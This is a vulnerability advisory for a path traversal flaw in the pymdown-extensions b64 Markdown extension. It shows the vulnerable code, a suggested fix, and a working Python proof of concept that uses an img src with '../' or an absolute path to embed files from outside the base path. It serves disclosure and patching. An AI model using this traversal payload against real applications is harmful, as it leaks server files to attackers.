PT-2026-64443 · Pypi · Pymdown Extensions
CVE-2026-61632
·
Publicado
2026-07-24
·
Atualizado
2026-07-24
CVSS v3.1
5.3
Média
| Vetor | AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N |
Summary
The
b64 extension inlines images referenced by <img src="..."> as base64 data URIs. When resolving the src path it joins it onto the configured base path with os.path.normpath and opens the result directly, with no check that the resolved path stays inside base path. A src containing ../ sequences, or an absolute path, therefore reads a file outside base path as long as that file has an allowed image extension (.png, .jpg, .jpeg, .gif, .svg). The base64 of that file is then embedded in the rendered output, disclosing its contents.This is a separate code path from the
snippets traversal issues (GHSA-jh85-wwv9-24hv, GHSA-62q4-447f-wv8h). It lives in pymdownx/b64.py and has no path restriction of any kind. Confirmed on 10.21.3 installed from PyPI.Details
In
pymdownx/b64.py, function repl path (around lines 68 to 90 on main):python
if is absolute:
file name = os.path.normpath(path) # absolute src: base path ignored entirely
else:
file name = os.path.normpath(os.path.join(base path, path)) # relative src: '../' escapes base path
if os.path.exists(file name):
ext = os.path.splitext(file name)[1].lower()
for b64 ext in file types:
if ext in b64 ext:
with open(file name, "rb") as f: # opened with no containment check
...There is no
startswith(base path), no os.path.realpath comparison, and no rejection of ... Both branches are reachable from an attacker-controlled src.PoC
Reproduced against an unmodified
pymdown-extensions==10.21.3 from PyPI. The script creates a base path directory and a PNG one level above it, then renders Markdown whose image src points outside base path, and confirms the outside file's bytes appear base64-encoded in the output.python
import base64, os, shutil, tempfile, markdown
root = tempfile.mkdtemp()
base path = os.path.join(root, "docs"); os.makedirs(base path)
outside = os.path.join(root, "secret"); os.makedirs(outside)
png = base64.b64decode(
"iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk"
"+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg=="
)
with open(os.path.join(outside, "secret.png"), "wb") as f:
f.write(png)
md = markdown.Markdown(
extensions=["pymdownx.b64"],
extension configs={"pymdownx.b64": {"base path": base path}},
)
html = md.convert('<img src="../secret/secret.png">')
assert base64.b64encode(png).decode() in html, "not leaked"
print("LEAKED:", html)Output:
LEAKED: <p><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQ..."></p>The base64 of a file outside
base path is present in the output. The absolute-path branch behaves the same way: an absolute src bypasses base path entirely via os.path.normpath(path). Both were confirmed leaking.Impact
An application that renders untrusted Markdown with
pymdownx.b64 enabled exposes the contents of image-extension files on the server, or any path the process can read, to whoever controls the Markdown and whoever views the output. The reach is bounded by the image-extension check, so it is a targeted file read rather than full arbitrary read, but it still discloses file contents that were never meant to be exposed.Suggested fix
Resolve the real path and require it to stay within
base path before opening:python
file name = os.path.realpath(os.path.join(base path, path))
base real = os.path.realpath(base path)
if file name != base real and not file name.startswith(base real + os.sep):
return m.group(0) # leave the tag untouched; do not read outside base pathThe same containment check should apply to the absolute-path branch rather than trusting an absolute
src. Using realpath instead of abspath also closes the related symlink-following gap in the snippets handler.Correção
Path traversal
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
Enumeração de Fraquezas
Identificadores relacionados
Produtos afetados
Pymdown Extensions